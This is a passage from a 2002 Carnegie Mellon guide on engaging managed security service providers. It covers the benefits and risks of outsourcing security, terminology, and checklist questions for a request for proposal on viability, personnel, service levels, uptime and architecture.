technology company International Data Group (IDG), by 2004 security services are expected to become a $16.5B industry with a 35 percent compound annual growth rate [Navarro 01]. 1 Said differently, business risks can result when information assets upon which the busi ness depends are not securely configured and managed (resulting in asset compromise due to violations of confidentiality, availability, and integrity). Business risk can be mitigated by lowering the probability of information security risks. Information se curity risks can be mitigated by having more secure information assets. More secure information assets can be achieved by satisfying security requirements. Specific security requirements can be satisfied by using managed security services, competently deli vered. Copyright 2002 Carnegie Mellon University 4 Organizations need high qualit y strategic and practical guidance about how to work with these emerging companies to maximize their own information security. This includes well-defined practices to evaluate, select, contract with, manage, and terminate relationships with MSSPs. The ra nge o f services offered by MSSPs varies in their ability to meet an organization’s security requirements, including the availability, confidentiality, and integrity of information assets critical to the organization’s mission. Therefore, it is vital that a n organization specify its security requirements and require candidate MSSPs to demonstrate their ability to meet them, both as part of evaluation and selection and while providing ongoing services. An organization needs to understand the level of inform ation security risk in outsourcing any managed security service when developing the Request for Proposal (RFP). The costs to procure, operate, and manage provider service delivery, including review for compliance with the Service Level Agreement (SLA) a nd the overall contract, should not exceed the anticipated benefit. Benefits of Engaging an MSS Provider The results from engaging a reputable, competent MSSP have the potential to be far superior to anything an organization can achieve on its own. Describ ed in this section are reasons for contracting with a MSSP and some of the benefits that may result from the relationship. All of these factors can contribute to reducing the risks faced by the client through a combination of risk mitigation and risk/l iability sharing between the client and the MSSP [Navarro 01]. Cost The cost of a managed security service is typically less than hiring in -house, full -time security experts [Wilbanks 01]. An MSSP is able to spread out the investment in analysts, hardware , software, and facilities over several clients, reducing the per client cost [Hulme 01]. As one example, an MSSP claims it can set up and monitor security on a 250 -user network on a single T1 (1.5 Mbps) Internet gateway for about $75,000 a year, excluding hardware. Replicating these actions within the organization produce s similar hardware costs, plus at least $240,000 in annual compensation to hire three full -time specialists, based on data from the magazine InformationWeek's most recent Salary Surv ey2 [Hulme 01]. A client organization can convert variable costs (when done in -house) to fixed costs (services), realize a tax advantage by deducting MSSP fee expenses from current year earnings versus depreciating internal assets, and experience cash flow improvements resulting from the transfer of software licenses (and possibly personnel) to the MSSP [Alner 01]. 2 http://www.informationweek.com/benchmark/advisor Copyright 2002 Carnegie Mellon University 5 Staffing A shortage of qualified information security personnel puts tremendous pressure on IT departments to recruit, train, compensate, and retain critical staff [Hulme 01]. The cost of in-house network security specialists can be prohibitive [Wilbanks 01]. When outsourcing, the costs to hire, train, and retain highly skilled staff becomes an MSSP responsibility. An MSSP is likely to retain se curity experts by offering a range of career opportunities and positions from entry level to senior management, all within the information security field [Navarro 01]. In addition, if a client organization can outsource repetitive security monitoring and p rotection functions, then they can then focus internal resources on more critical business initiatives [Pescatore 01a]. Skills An in -house staff member who only deals with security on a part -time basis or only sees a limited number of security incidents i s probably not as competent as someone who is doing the same work full -time, seeing security impacts across several different clients, and crafting security solutions with broader applicability [Hulme 01]. MSSPs have insight into security situations base d on extensive experience, dealing with hundreds or thousands of potentially threatening situations every day, and are some of the most aggressive and strenuous users of security software [Navarro 01, DeJesus 01]. Facilities MSSPs can also enhance securi ty simply because of the facilities they offer. Many MSSPs have special security operations centers (SOCs) located in various parts of the country. These are physically hardened sites with state -of-the-art infrastructure managed by trained personnel. [DeJe sus 01] Objectivity and Independence An organization may have multiple, ad hoc solutions to handle the same types of security problems. There may be no enterprise -wide management of security or of strategy. Moving security to a capable security service pr ovider may help simplify and strengthen the enterprise's security posture [DeJesus 01]. An MSSP can provide an independent perspective on the security posture of an organization and help maintain a system of checks and balances with in -house personnel. An MSSP can often provide an integrated, more coherent solution, thereby eliminating redundant effort, hardware, and software. Security Awareness It is difficult for an organization to track and address all potential threats and vulnerabilities as well as at tack patterns, intruder tools, and current best security practices. An MSSP is often able to obtain advance warning of new vulnerabilities and gain early access to information on countermeasures. An MSSP can advise on how other organizations handle the sam e types of security problems. [Alner 01, Navarro 01] An MSSP is likely to have contact with highly qualified and specialized international security experts as well as other MSSPs. These resources can be brought to bear to diagnose and resolve client issue s. Copyright 2002 Carnegie Mellon University 6 Prosecution The MSSP are often well connected to law enforcement agencies around the world and understands what forensic analysis and evidence are required to successfully support legal proceedings. Service Performance When an organization contracts fo r security monitoring services, the service can report near real -time results, 24 hours a day, 7 days a week, and 365 days a year. This is a large contrast with an in -house service that may only operate during normal business hours. MSSPs can be held accou ntable for the service standards they provide. They guarantee service levels and assure their availability; failing to do so can have financial repercussions. Their operational procedures are designed to ensure uninterrupted service availability. Also, if the MSSP is providing service systems, then it is their responsibility to upgrade software and hardware and to maintain a secure network configuration. Because MSSPs have strict contractual obligations to their clients and must maintain their reputation i n the marketplace, their control procedures are generally both well documented and carefully enforced [Alner 01]. In all instances, the client needs to verify these performance characteristics. Service Security and Technology Service security solutions an d technologies such as firewalls, intrusion detection systems (IDSs), virtual private networks (VPNs), and vulnerability assessment tools are far more effective because they are managed and monitored by skilled security professionals. For example, when an intrusion is detected, MSSPs can use a remote monitoring connection to determine whether the alarm is justified and block further intruder actions. A managed service can protect the client’s network from unsecured VPN endpoints [Wilbanks 01]. For products developed by the MSSP and used in their services, the client organization receives an enhanced level of product support [Navarro 01]. The MSSP may use other third party provider products as the basis for providing service (such as firewalls and IDSs). Ba sed on the size of the MSSP’s client base, the MSSP may be able to influence the product provider to improve the security of their products by, for example, addressing new attacks and vulnerabilities. Risks in Engaging an MSS Provider While an MSSP may hav e more competent staff to manage security services, they may not be as effective in applying remedies that meet the specific needs of the client. MSSPs sometimes run the risk of applying solutions that are too generic to benefit the client. Also, sometimes the client’s staff is more adept at providing the best solution. In deciding to engage an MSSP, an organization needs to treat the potential action as a risk mitigation sharing decision. Regardless of an MSSP’s role, the client is responsible for address ing the impact of a risk that has become a reality. The client must always be prepared to manage and respond to manifested risks. Copyright 2002 Carnegie Mellon University 7 There are counter arguments and issues to consider when weighing the risks against the benefits described above. Some of these include the following: Trust The challenge of establishing a good working relationship and building trust between a client and MSS provider remains as a significant hurdle in deciding to outsource security services. Any MSSP has access to sensitive clien t information and details about the client’s security posture and vulnerabilities. The intentional or inadvertent public release of such information can be extremely damaging to the client. A signed confidentiality agreement enacted in the later stages of contract negotiations can help mitigate this risk. Dependence An organization can become operationally dependent on a single MSSP and be greatly affected by the MSSP’s business viability (refer to Practice 1, P1.1 Business Attributes), other clients , and business partnerships. One risk mitigation approach is to outsource to multiple providers, but this comes with additional cost and management oversight responsibilities. An organization needs to carefully examine the provider’s proposal to understand whether they use tiered providers and how they work. (Tiered providers are the subcontractors used by the MSSP and any other downstream subcontractors .) Organizations must ensure that both the client and provider have the necessary and contr actual checks and balances with respect to tiered provider performance. Ownership A client retains ownership and responsibility for the secure operation of its infrastructure and the protection of its critical assets regardless of the scope of services pr ovided by an MSSP. An organization may start to ignore pressing security issues due to “out of sight, out of mind” thinking, having delegated this concern to the provider. The client must ensure that it retains sufficient competency to fulfill its responsi bility and that contractual and service level agreement language supports this. Risk mitigation approaches include making information security the primary responsibility for one or more staff members and managers and conducting regular user security awaren ess and training sessions. Shared Environment The shared operational environment used by many MSSPs to service multiple clients poses more risks than an in -house environment. Sharing a data transmission capability (such as a common network) or a processin g environment (such as a general purpose server) across multiple clients can increase the likelihood of one organization having access to the sensitive information of another. Implementation Initiating a managed security services relationship may require a complex transition of people, processes, hardware, software, and other assets from the client to the provider or from one provider to another, all of which may introduce new risks. IT and business environments may require new interfaces, approaches, and expectations for service delivery. Roles and responsibilities are often redefined. [Ambrose 01] Copyright 2002 Carnegie Mellon University 8 Clients should ask for an implementation timeline and duration as well as a high -level implementation plan as part of a provider’s proposal. Partnership Failu re One of the greatest risks comes from inadequate, incomplete planning and infrequent communication and review between the provider and the client. This partnership can fail at any stage. Like any business relationship, it requires attention, care, and du e diligence. Hidden Costs and Impacts Certain costs are overlooked or ignored because they are difficult to quantify. An organization needs to factor these into its risk analysis and decision -making processes before engaging an MSSP. Some of the hidden co sts and areas where issues could arise are listed below. [Ott 01] • Costs associated with giving up control (experience, knowledge, skill development associated with) of critical assets and security technologies • What happens at the end of the contract period ? What happens if the original provider goes out of business, delivers poorly, or is more expensive when the contract is recompeted? What is the cost of switching to a new provider? • Would an MSSP do the job with the same quality and thoroughness that an organization would do for itself? • How are needs met and services provided for multiple clients and how are they prioritized by the MSSP? Legal Issues An organization and an MSSP need to evaluate and discuss potential legal issues that could arise during a security incident involving both parties. The client needs to understand the jurisdiction under which the provider operates, the applicable laws and regulations, whether or not these laws apply to the client when engaging provider services, and if so, if t hese laws are compatible with the client’s operation and acceptable to the client. This applies to tiered providers as well. How to Use These Practices The practices recommended in this report provide organizations with the guidance necessary to knowledgea bly engage MSSPs, so they can make informed use of such services. Readers should view all practice guidelines as a baseline checklist from which to choose and create their own set, based on their organization’s business objectives and desired security serv ices. These practices are intended primarily for those responsible for the selection and day -to- day oversight of outsourced managed security services. This may include your chief information officer, chief financial officer, contracting/purchasing manage r, information technology manager, chief security officer, and technical staff (system and network administrators) responsible for ensuring MSSP performance and compliance with requirements. Copyright 2002 Carnegie Mellon University 9 These practices do not cover • the enterprise business risk eval uation and accompanying decision to outsource selected security services and engage an MSSP • expanding and renewing outsourced security services • dealing with an MSSP being acquired by another company or going out of business • MSS consulting services such as security architecture development and implementation, risk assessments, and forensic investigations. These services typically rely heavily on specific business objectives and processes. • business, technical, and contractual considerations beyond those for engaging a MSSP so as to ensure client information security. However, some of these aspects are discussed briefly, in the context of the practice where they are described. These practices assume that the client organization has made a well -informed busine ss decision to outsource specific security services and understands the risks inherent in doing so. To knowledgeably select, engage, manage, and terminate MSSP relationships and the services they provide, we recommend a three -step approach. It requires implementing security practices in three general areas: 1. Engaging an MSS provider 2. Managing the relationship with an MSS provider 3. Terminating an MSS provider relationship The first practice in Engaging an MSS Provider provides content guidance for an MSS Request for Proposal (RFP). The RFP establishes the client’s requirements that need to be addressed in a provider’s proposal. The second practice describes guidelines for evaluating a provider’s proposal beyond those implied by the RFP guidelines. The third practice provides content guidance for an MSS Service Level Agreement (SLA). The SLA is one part of the contract between client and provider. It addresses some of the RFP requirements. We divide SLA guidelines into two categories: service -specific agreeme nts and operational security practice agreements. The service -specific agreements address characteristics and attributes of the service being provided. The operational security practice agreements address the quality of the operational security environment in which the services execute. This latter set of content guidance (titled Security Practices) does not typically appear in today’s SLAs but represents critical content upon which client and provide agreement should occur. Managing the Relationship with an MSS Provider includes guidelines for establishing a new provider relationship, transitioning from in -house services to provider -supplied services, or transitioning from one provider to another. The second practice in this area addresses the ongoing cli ent/provider relationship. Copyright 2002 Carnegie Mellon University 10 Finally, we list guidelines to consider using when an organization terminates a relationship with an MSSP, whether at the end of a contract or for some other reason. In addition, we provide two service -specific practices that provide more detailed guidelines to consider when outsourcing network boundary protection services and vulnerability assessment services. Summary of Recommended Practices Area Recommended Practice Engagement 1. Content Guidance for an MSS Request for Propos al 2. Guidance for Evaluating an MSS Proposal 3. Content Guidance for an MSS Service Level Agreement Management 4. Transitioning to MSS 5. Managing an Ongoing MSS Provider Relationship Termination 6. Terminating an MSS Provider Relationship Service -specific 7. Considera tions for Network Boundary Protection as Managed Security Services 8. Considerations for Vulnerability Assessment as a Managed Security Service In the Engagement practices (Practices 1, 2, and 3), we have organized guidelines in sections titled Business Att ributes, Service Attributes, and Security Practices. In financial and security communities, these are sometimes referred to as security controls and serve as the means by which an organization or service is evaluated for compliance with requirements. This is done by verifying the presence, absence, or degree of implementation of specific attributes and practices. Attributes and practices are generally presented in order of priority but may need to be re - ordered and tailored to meet specific business and MSS objectives. Where applicable, each attribute and practice should be a table of contents entry in an RFP, on a proposal checklist when evaluating provider proposals, and a table of contents entry in the SLA. Each attribute and practice should be addr essed during transition (Practice 4), ongoing management and review (Practice 5), and considered when terminating a provider relationship (Practice 6). The service -specific guidelines presented in Practices 7 and 8 assume the attributes and security practi ces presented Practices 1, 2, and 3. Copyright 2002 Carnegie Mellon University 11 When taken in their entirety, we recognize that following these practices may seem overwhelming from both a client and provider perspective. In addition, they may result in spending more to protect an information asse t than is warranted based on the asset’s value and risk of compromise. This may be particularly the case for smaller organizations that do not have the level of staffing or the expertise to accomplish these guidelines. Making well informed and tailored sel ections is key to a successful contract and client/provider relationship.3 These practices were developed in collaboration with the BITS IT Service Providers Working Group. They draw extensively from the BITS Framework: Managing Technology Risk for Inform ation Technology (IT) Service Provider Relationships , Version 3.2a, published August 17, 2001 and approved by the BITS Board of Directors in October, 2001 [BITS 01]. Terminology For the purposes of this report, we use the following terms as defined below: • Client – an organization interested in purchasing security services from a managed security services provider • Provider – the MSSP, vendor, or supplier of such service • Tiered provider – a subcontractor of the primary provider • Business attributes, service attributes, security practices – also known as security controls in the financial and security communities, to connote the means by which an organization or service is evaluated for compliance with requirements. See the Acronyms section below for a list of these controls. • Information asset – something of value to the provider or to the client. Information technology assets include information, systems, networks, software, hardware, and can include people (such as key staff members). Critical assets are the most important assets to a client or provider, such that the enterprise will suffer a large adverse impact if something happens (violations of confidentiality, availability, or integrity) to one of these assets. [Alberts 01a] • Attack – an action conducted b y an adversary, the attacker, against a potential victim. A set of events that an observer believes to have information assurance consequences for some entity; the target of the attack. From the perspective of an administrator responsible for maintaining a system, an attack is a set of one or more events that has one or more security consequences. From the perspective of a neutral observer, the attack can either be successful (an intrusion), or unsuccessful (an attempted or failed intrusion). From the persp ective of an intruder, an attack is a mechanism to fulfill an objective. Intrusion implies forced entry, while attack only impl ies the application of force. [Allen 00] 3 Meta Group [Raffoul 02] proposes one structure that they call an outsourcing management maturity model. This model consists of five levels (vendor management fundamentals, defined service outcome, measurement, trust, recognized business value) that order a reasonable set of practices to mature an outsourcing relationship. Copyright 2002 Carnegie Mellon University 12 • Incident – a collection of data representing one or more related at tacks. Attacks may be related by attacker, type of attack, objectives, sites, or timing. [Allen 00] • Intrusion – actual illegal or undesired entry into an information system. The act of violating the security policy or legal protections that pertain to an information system. [Allen 00] Acronyms BC/DR Business Continuity/Disaster Recovery DMZ Demilitarized Zone GRT Guaranteed Response Time IDS Intrusion Detection System IT Information Technology ISP Internet Service Provider Mbps Megabit s per second MSS Managed Security Services MSSP Managed Security Service Provider NFPA National Fire Protection Association RFP Request for Proposal ROI Return on Investment SLA Service Level Agreement SOC Security Operations Center VA Vulnerability Assessment VPN Virtual Private Network WORM Write Once, Read Many Business Attributes AO Asset Ownership CE Contractual Exceptions, Penalties, and Rewards CS Client Satisfaction ES Exit Strategy IE Independent Evaluations IP Implem entation Plan PC Points of Contact PR Personnel RO Relationships with Other Parties SA Service Level Agreement SV Site Visit VI Viability Copyright 2002 Carnegie Mellon University 13 Service Attributes CO Cost HS Service Hardware and Software RR Reporting Requirements SP Service Scope SL Service Levels SR Top-level Security Requirements SS Service Scalability ST Service Architecture SY Service Availability Security Practices AA Authentication and Authorization AC Access Control BU Backups DH Data Handling DR Contingency Planning; Operational a nd Disaster Recovery IM Incident Management MA Monitoring and Auditing PP Security Policies, Procedures, and Regulations PS Physical Security SC Secure Asset Configuration SI Software Integrity Copyright 2002 Carnegie Mellon University 14 Copyright 2002 Carnegie Mellon University 15 Practice 1: Content Guidance for an MSS Request for Proposal The Managed Security Services (MSS) Request for Proposal (RFP) is intended to elicit proposals from qualified Managed Security Service Providers (MSSPs) with the skills and experience to meet a client’s security service requirements. In addition to a cle arly defined statement of work describing the desired services, the RFP should identify all requirements the provider’s offering is expected to satisfy. This includes business attributes and service attributes to ensure that both the client and provider ar e satisfied with the level of contracted service, as well as the security practices that the client expects the provider to deploy in the operational security service environment. The presence of such practices instills confidence that the provider is runn ing a secure operation, can successfully protect client data, and is “practicing what it preaches.” MSS RFP requirements are based upon the anticipated relationship with the provider and the service(s) to be provided. The client should design the RFP to r eflect its security policies and expect providers to provide responses that outline cost -effective services that comply with these policies. If feasible, consider soliciting proposals from in -house IT teams. “Including internal teams creates a more compe titive environment because suppliers must demonstrate value beyond what is available in -house.” [Lacity 02] “Research shows that customers who invited internal IT teams to compete with external suppliers made successful sourcing decisions 83 percent of the time. Customers who did not invite in -house bids but only compared existing costs to one or two supplier bids had only a 42 percent success rate.” [Lacity 01, Lacity 02] Instruct the provider to include any requirements defining client roles and responsi bilities that will help ensure a successful partnership. This applies to business attributes (P1.1), service attributes (P1.2), and security practices (P1.3). In an RFP, a client should ask providers to indicate any ways in which they are unable to comply with a specific requirement. Conflicts could exist because of regulations, legal requirements, policies, or other considerations. If the provider cannot comply with one or more of the requirements, they should offer alternatives, if possible. When develo ping the RFP, a client needs to understand their level of risk in outsourcing any managed security service (see the Introduction). Understanding risks help a client to ensure that the costs to procure, operate, and manage provider service delivery, as well as the costs to ensure compliance with the Service Level Agreement (SLA), do not exceed the anticipated benefit. Copyright 2002 Carnegie Mellon University 16 P1.1 Business Attributes Business attributes are one element of client requirements. They comprise characteristics, policies, processes, a nd procedures that need to be described in a qualified RFP response and include • Viability (VI) • Client Satisfaction (CS) • Relationship with Other Parties (RO) • Independent Evaluations (IE) • Personnel (PR) • Asset Ownership (AO) • Contractual Exceptions, Penalties, and Rewards (CE) • Service Level Agreement (SA) • Exit Strategy (ES) • Site Visit (SV) • Implementation Plan (IP) • Points of Contact (PC) Some of the guidelines for eliciting provider business attributes are presented below as a series of t opical questions. It may be helpful for a client to convert these questions into a checklist. If specific responses are required, turn the questions into imperative requirements statements. The pronouns “you” and “your” in the questions below refer to the provider organization. “We,” “us,” and “our” refer to the client organization. P1.1.1 Viability (VI) Viability guidelines are organized into six categories: • VI1: Financial • VI2: Services Offered • VI3: Organizational Breadth • VI4: Investment Strategies • VI5: References VI1: Financial a. Provide your most recent annual report and financial statement and those of your key investors if they are not publicly available. b. Indicate the total number of active security service contracts, in dicating the percentage of multi -year and single year contracts. Describe your annual rate or percentage of new, renewing, and terminating contracts. c. Provide information regarding any recent mergers and acquisitions, initiated by your organization or initiated by others. Copyright 2002 Carnegie Mellon University 17 VI2: Services Offered a. Name the markets or industries you target for each of the services you offer [Cisco 01]. b. Describe what percentage of annual revenue for the previous fiscal year derives from each requested service. Indica te the number of service engagements, by requested service, which your company has conducted for clients over the past year. Indicate the average size of the client’s network (small, medium, large). For example, state “Vulnerability assessment services: 10, Large.” [Cisco 01] c. What percentage of your staff is involved in direct service delivery and managing current client accounts? VI3: Organizational Breadth a. Is your current business (including your channel (reseller) partnerships) regional, national, or i nternational? Describe your approach and your capabilities to provide global support, including, but not limited to, worldwide locations, expertise in national languages, knowledge of national and local laws that affect requested services, and relationship s with national and local law enforcement agencies. VI4: Investment Strategies a. Describe your approach for investing in technology and research and development to increase operational efficiency while keeping up with the rapidly changing threat environment. What are the highest priority initiatives in your company that affect the requested services? What is your company’s vision and d irection for current ly offered services as well as plans for additional services and support of new technologies? [Cisco 01] VI5: References a. Provide three references from clients o with similar types of organizations (size, market segment) o with similar le vels of infrastructure complexity and capacity requirements o that are currently using the services requested in this RFP Include, for each reference: the company name, contact name, contact title, phone number, email address, types of service, and dates o f service. [Cisco 01] P1.1.2 Client Satisfaction (CS) CS1: Describe your process and mechanisms for handling client inquiries and reported problems. CS2: Describe customer service responsiveness, hours of staff availability, and available commun ication mechanisms (e.g., written, verbal, electronic, face -to- face). CS3: Describe how you measure and report client satisfaction, including frequency. CS4: Describe how satisfaction deficiencies are addressed and resolved (in your service level agre ement or elsewhere). CS5: Describe secure communications mechanisms (e.g. secure voice, fax, encrypted email, pager) to use when communication should be private. CS6: Include both national and international service support. Copyright 2002 Carnegie Mellon University 18 P1.1.3 Relationship s with Other Parties (RO) RO1: Provide a complete list and brief description of your channel partners, resellers, vendors, subcontractors, and other providers (tiered providers including ISPs) who may be involved in delivering the requested services. Des cribe your due diligence process for engaging in these types of business relationships. RO2: Where do you plan to use tiered providers to satisfy client requirements? In what capacity do you plan to use them ? What mechanisms are in place to allow the client to verify that these requirements are met? Requirements include business attributes (P1.1), service attributes (P1.2), and security practices (P1.3). RO3: Indicate how our requirements flow to all involved tiered providers and how requirements satisfaction is determined. RO4: The client identifies any requirements or restrictions they have when outside parties (providers, tiered providers) connect to their network. These may include: disallowing certain protocols, requirements for or restric tions on communications or encryption methods, confidentiality requirements, and specific storage requirements for security data. The provider indicates how they plan to meet these requirements and restrictions. [conversations with RedSiren] RO5: How can we establish a direct relationship (either informal or contractual) with your tiered providers when they are involved in delivering the requested services? Indicate if we are free to contact these organizations and, if so, provide contact information. RO6: When client information is shared with and used by tiered providers, what procedures do you have in place for protecting this information? RO7: How are security risks associated with tiered providers defined and monitored? RO8: What security resear ch organizations do you partner with to stay informed about new threats and vulnerabilities? RO9: Describe any user groups associated with requested services and describe your practice of communicating with clients through such groups. P1.1.4 Independ ent Evaluations (IE) Address these aspects of independent evaluations for the provider and for all tiered providers who deliver requested services. IE1: Describe how you assess and manage risks to information security, periodically and in response to ma jor changes in technology, internal and external threats, or your systems and operations. This includes regularly conducting information security risk evaluations or contracting with an outside organization to perform them. Describe how relevant results fr om risk assessment and management activities are communicated to the client. IE2: Identify internal and external service risks that could lead to unauthorized disclosure, misuse, alteration, or destruction of client and client customer information asset s. Describe your risk mitigation approach. IE3: Identify the third party organization(s) responsible for conducting your latest security risk evaluation, security audit, and vulnerability assessment. Describe how often this is done and how it is performe d. Include the most recent results and the date of these results. Copyright 2002 Carnegie Mellon University 19 IE4: Indicate if we are free to contact the evaluating organization(s) and, if so, provide contact information. IE5: Indicate your agreement to participate in and deliver results from a periodic full security evaluation performed by a mutually agreeable independent organization [Alner 01]. Recent results that you provide may serve in lieu of this requirement. Do you require or obtain independent evaluations from your tiered providers? A re you willing to share these evaluations with us? IE6: If applicable, demonstrate service compliance with or recent audit results for relevant national regulations and international standards such as the U.S. Gramm - Leach -Bliley Act, Health Insurance Por tability and Accountability Act, ISO 17799 Information technology – Code of practices for information security management, and Statement on Auditing Standards (SAS) No. 70, Service Organizations. 4 P1.1.5 Personnel (PR) PR1: How do you screen potential e mployees? Describe the level of background checks performed by job position (role, responsibility, authority), particularly for positions handling sensitive client information. State your policy on hiring those with an established history of successfully b reaking into computers (often referred to as hackers) . PR2: For key personnel who will provide services specified in this RFP, how many years of experience do they have and in what fields? Include resumes for key personnel and for key executives and ma nagers who will have oversight responsibility for this contract . PR3: Provide organizational and staff member accreditations and certifications in networking elements, security, operating systems, auditing, and evaluation [Radcliff 00]. Describe how thes e credentials will be used to provide the requested service. PR4: What professional (post degree) training and certifications do your security analysts and SOC (Security Operations Center) personnel have? How recent are these? PR5: What is your annua l staff retention rate for key positions? PR6: Are staff members assigned to a client as they are available or are they permanently assigned for the duration of the relationship? PR7: Do new staff members receive initial training and do all staff mem bers receive periodic refresher training on the provider’s security policies and procedures? 4SAS 70 is an internationally recognized auditing standard developed by the American Institute of Certified Public Accountants ( AICPA). It is the authoritative guidance that allows service organizations to disclose their control activities and processes to their customers and their customers' auditors in a uniform reporting format. A SAS 70 examination signifies that a service orga nization has had its control objectives and control activities examined by an independent accounting and auditing firm. A formal report including the auditor's opinion (“Service Auditor's Report”) is issued to the service organization at the conclusion of a SAS 70 examination. Refer to http://www.sas70.com. Copyright 2002 Carnegie Mellon University 20 PR8: Determine the level of knowledge the provider needs and determine the appropriate level of authority the provider needs to access client data by answerin g the following questions [Alner 01]: a. Are selected provider staff members required to sign confidentiality or non - disclosure agreements? b. Are specific provider staff members (including consultants) bonded? This assumes bonding requirements and levels are sp ecified in the provider company policy. c. Which provider staff member roles have privileged access to client data, software, and hardware? What is the justification for such access? PR9: What security procedures are invoked when a provider staff member te rminates their employment? PR10: Do you require the above personnel information from your tiered providers? If so, are you willing to provide us with this information? P1.1.6 Asset Ownership (AO) AO1: Identify the owner of assets used in providing the service (systems, software, source code, processes, concepts, etc.). Providers either manage their own systems or manage equipment that the client owns. Client ownership may cost more in the short term, but may reduce transition issues when the relatio nship terminates. AO2: Is all intellectual property created by the provider on behalf of the client and in the course of the relationship owned by the client? This includes reports, logs, audit and evaluation results, and the like. Specify any client -based or client - derived intellectual property that remains under provider ownership. AO3: If you propose using proprietary assets (policies, processes, applications software), describe how the client is not placed at risk when the relationship terminates (w ith respect to continued use of these assets). AO4: Describe all software and hardware license and patent issues that may relate to delivering requested services and how such assets are transitioned upon contract termination. P1.1.7 Contractual Except ions, Penalties, and Rewards (CE) CE1: Provide your standard language for contractual exceptions, penalties, and rewards. P1.1.8 Service Level Agreement (SL) SA1: Provide your standard SLA. SA2: Does your SLA allow for client -specific requirements for performance and remediation (restoration of service, customer service, response time) [Cisco 01]? SA3: Describe client and provider responsibilities for monitoring and verifying SLA metrics. SA4: What are the financial implications of SLA non -comp liance? Include descriptions of how credits are applied to client accounts or other means of assuring clients are properly charged for the service provided vs. the service negotiated. [Cisco 01] SA5: Describe the process by which clients may tailor or am end your SLA. Refer to Practice 3 for additional details. Copyright 2002 Carnegie Mellon University 21 P1.1.9 Exit Strategy (ES) ES1: Provide your standard contract termination language and provisions. ES2: Indicate the conditions under which contract termination may occur. P1.1.1 0 Site Visit (SV) SV1: Indicate provider agreemen t for the client to conduct a site visit, including all physical facilities involved in service delivery such as the SOC and areas where client data are secured. SV2: During site visits, reviews and demonstrations of provider capabilities as represented in the proposal will be verified, and additional scenarios or requirements may be examined. Any additional requirements will be communicated in writing prior to such a visit. SV3: All expenses incurred by the provider during the site visit are the provid er’s responsibility [Cisco 01]. SV4: Specify any limitations or constraints on site visits. P1.1.1 1 Implementation Plan (IP) IP1: Provide your high -level implementation plan for installing and operating requested services. Include a timeline and es timated duration. Include your service transition approach, from the client or another provider, if applicable. Refer to Practice 4 for more details. P1.1.12 Points of Contact (PC) PC1: Identify both the primary client point of contact (identified in the RFP) and the provider point of contact (identified in the proposal) that will serve as the primary interface between the two organizations. Before drafting and releasing an RFP, it is important to decide which client contact will be responsible for coo rdination and dialogue with all providers submitting a proposal. This streamlines the proposal submission and evaluation processes and gives each provider a single point of entry into the client’s organization. PC2: These points of contact will likely no t be the people responsible for managing the day-to-day client/provider interface once the contract is signed. P1.2 Service Attributes Service attributes are a second element of client requirements. They describe the quality of service to be provided a nd levels of service performance to be met. Service attributes include • Top-level Security Requirements (SR) • Service Availability (SY) • Service Architecture (ST) • Service Hardware and Software (HS) • Service Scalability (SS) • Service Levels (SL) • Reporting Requ irements (RR) Copyright 2002 Carnegie Mellon University 22 • Service Scope ( SP) • Cost (CO) To qualify for consideration, the provider’s proposal must demonstrate how the provider will ensure compliance with all service attributes during the execution of the contract. The RFP must define service avai lability and performance requirements such that the client can make an effective comparison between different providers (e.g., the timeliness of critical alert reports, service uptime percentages). Service attributes are presented below as a series of topi cal statements and questions. A client needs to select those that are meaningful for a specific RFP. P1.2.1 Top-level Security Requirements (SR) SR1: The provider asserts and is able to satisfactorily demonstrate that client asset (software, hardware, d ata) confidentiality, availability, and integrity are assured in the process of delivering service. SR2: Client privacy is protected to include but not be limited to identified client data, security posture, vulnerability status, and attack status. SR3 : The provider ensures that specified client data resides only in the client’s designated country to satisfy local/regional data privacy laws [ISS 01]. Details of how these requirements are met are addressed in section P1.3 Security Practices. P1.2.2 Service Availability (SY) SY1: Client requirements for service availability are likely to be 24 hours a day, 7 days a week, 365 days a year (24x7x365) with 99+ percent uptime, measured as experienced by the client. This means that service availability is n ot measured and demonstrated at the individual provider service asset level (systems, networks, databases, applications, personnel, etc.), which has no meaning for the client. SY2: Service uptime figures are determined using risk evaluation and analysis , determining the criticality of services and systems being provided. Consider the following guidelines: a. 99 percent uptime = 87.6 hours unavailability or degraded capability per year, or 7.3 hours per month b. 99.9 percent uptime = 8.8 hours unavailability o r degraded capability per year, or approximately 44 minutes per month c. 99.99 percent uptime = 52 minutes of unavailability or degraded capability per year, or 4.4 minutes of downtime per month d. 99.999 percent uptime = 5.2 minutes of unavailability or degrade d capability per year, or about 25 seconds per month State a figure for the maximum acceptable period of continuous unavailability or degraded capability if this is different from the cumulative figures shown above. Copyright 2002 Carnegie Mellon University 23 Higher levels of service uptime will li kely result in greater cost. The cost difference between 99.99 percent reliability and 99.999 percent can easily be tens of thousands of dollars a month [Turek 00]. Make sure that uptime and availability service levels are those required to meet business o bjectives, and no more. Service availability includes the provision for announced, coordinated, and scheduled down time for service (software, hardware, data) maintenance and upgrade. The provider states exclusions from the overall service availability uptime figure such as client ISP outages. SY3: Service uptime relies on power, network connectivity, and bandwidth availability. The client may want to specify a guaranteed availability percentage for these architectural elements as well. For example, if se rvice uptime is 99.9 percent, then power, network connectivity, and bandwidth availability should be specified at 99.99 percent. SY4: Describe how you calculate service outage times. Address the following outage conditions [BITS 01, Section 4.4.6, p 22]: a. regularly scheduled time periods when the service is not available b. how additional service volume created by a new client affects both client and provider system performance and availability c. interruptions in local/regional utility service (for example, co mmunications, gas, electric, sewer, water) d. how scheduled service software and hardware maintenance affect service availability, and whether or not this is acceptable SY5: Provide historical statistics on system availability and response times for the requested service. [BITS 01, Section 4.4.2, p 21] P1.2.3 Service Architecture (ST) Prior to developing the RFP, the client should define architectural requirements and alternatives when the service is deployed, including such considerations as bandwidth requirements, the need for a demilitarized zone (DMZ), the location of service systems in the network, and connectivity between client and provider networks. The client can express their RFP requirements in more detail if they do so knowing the network archite cture they will use. The client can then more easily determine if proposed solutions meet the client’s architecture requirements. Conversely, if the client does not have the capability to define such requirements, they can consider contracting for this su pport as a separate service. Regardless, the guidelines that follow presume the existence of an initial service architecture that is used as the basis for defining requirements. Copyright 2002 Carnegie Mellon University 24 The client needs to provide sufficient details about their operational envir onment in the RFP to allow providers to prepare responsive proposals.5 ST1: Describe, using text and graphics, how your services will be implemented to include, but not be limited to [Navarro 01] a. remote administration. Service hardware and software are located on our networks. Your SOC connects to this equipment via secure means (such as VPN or dedicated lines). b. co-location. Your security devices (such as managed firewalls and web servers) are placed within your data center. All access to and from our networks pass through your infrastructure, potentially including all Internet access. For this alternative, do you run our service on a dedicated server? If not, how are our data, systems, networks, and performance protected from exposure to other clients? 